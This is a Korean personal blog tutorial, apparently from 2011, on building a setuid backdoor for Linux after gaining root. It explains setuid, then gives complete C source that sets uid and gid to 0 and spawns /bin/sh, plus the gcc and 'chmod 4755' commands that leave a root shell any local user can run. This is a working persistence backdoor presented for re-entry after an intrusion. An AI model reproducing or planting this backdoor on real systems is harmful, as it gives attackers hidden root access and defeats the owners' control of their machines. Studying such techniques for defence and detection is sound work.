일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
Tags
- 독서 감상문
- DBMS
- 정보올림피아드
- 리눅스 명령어
- 제어문
- 배열
- C
- 백도어
- 리눅스
- For문
- 풀이&소스코드저작권:왕유승
- 정보영재원
- if문
- IT
- 독후감
- 알고리즘
- API
- 정보과학
- 다중반복문
- C++
- 자료구조
- Linux
- 영재교육원
- 문제출저:www.dovelet.com
- 프로그래밍
- Backdoor
- 참조은요양병원
- 수학영재원
- 반복문
- c언어
Archives
- Today
- Total
되는대로 살자
[System Hacking] Setuid를 이용한 백도어 만들기 (1) 본문
백도어는 말 그대로 뒷문 이라는 뜻입니다. 원래는 시스템 관리자가 관리 보수 상의 편의를 위해 만들어 놓은 보안 구멍을 가르키는 말이지만, 흔히 해커가 루트 권한을 딴 후 나중에 쉽게 재침입 하기 위해 만들어 놓은 뒷문을 일컫는 데 쓰이곤 합니다.
백도어의 종류도 여러가지고, 만드는 방법 역시 많지만 이 글에서는 제가 배운 setuid를 이용한 백도어 생성에 대해 소개하겠습니다.
먼저, 이 방법에서 가장 핵심 개념인 setuid란 무엇일까요??
setuid모드란 파일을 어떤 사용자의 권한으로 실행할 지를 설정해 놓을 수 있는 모드입니다. 즉, setuid모드가 설정 되있는 파일을 실행 시키면, 그 팡리은 파일의 소유자 권한을 ㅗ실행됩니다. 만약 루트 사용자가 만든 setuid에 일반 사용자가 접근권한을 갖는다면, 일반 사용자가 그 파일을 실행하는 동안은 잠시나마 루트 권한을 갖게 되는거죠, 이 개념의 허점을 이용한 것이 바로 백도어 입니다.
이제 이 백도어 파일을 맏느느 방법을 알아봅시다
먼저 vi를 통해 backdoor.c 라는 파일을 만들어 엽니다.
#vi backdoor.c
빈 파일이 열어졌다면 이제 다음 코드를 입력합니다.
#include <stdio.h>
int main(){
setuid(0);
setgid(0);
system("/bin/sh");
}
입력을 완료된 후 wq!로 빠져나옵니다. 이제 컴파일 해줍니다.
#gcc -o backdoor backdoor.c
이 명령을 수행한 후 backdoor 라는 실행 파일이 생성되는 것을 확인합니다. 이제 이 파일을 setuid모드로 설정함과 동시에 루트 사용자 외에 일반 사용자도 이 파일에 접근할 수 있도록 접근 권한을 수정해 줍니다 .
#chmod 4755 backdoor
여기서 4는 setuid모드로 설정하는 숫자입니다. 그리고 755의 마지막 숫자 5가 바로 일반 사용자의 접근 권한을 의미하는데, x권한, 즉 실행권한이 있으므로 일반 사용자도 이 파일을 실행할 수 있게 됩니다.
이제 백도어 생성이 끝났습니다. 일반사용자 모드로 접속했을 때 backdoor 파일을 실행하면 루트권한으로 상승됨을 확인 할 수 있습니다.
'2009~2014 > Hacking_System' 카테고리의 다른 글
[System Hacking] 백도어 찾기와 숨기기 (0) | 2011.07.21 |
---|---|
[System Hacking] setuid를 이용한 백도어 만들기 - 세번째 방법 (0) | 2011.07.21 |
[System Hacking] Setuid를 이용한 백도어 만들기 - vi편집기 이용 (0) | 2011.07.21 |
[System Hacking] OS 해킹의 절차 (0) | 2011.07.21 |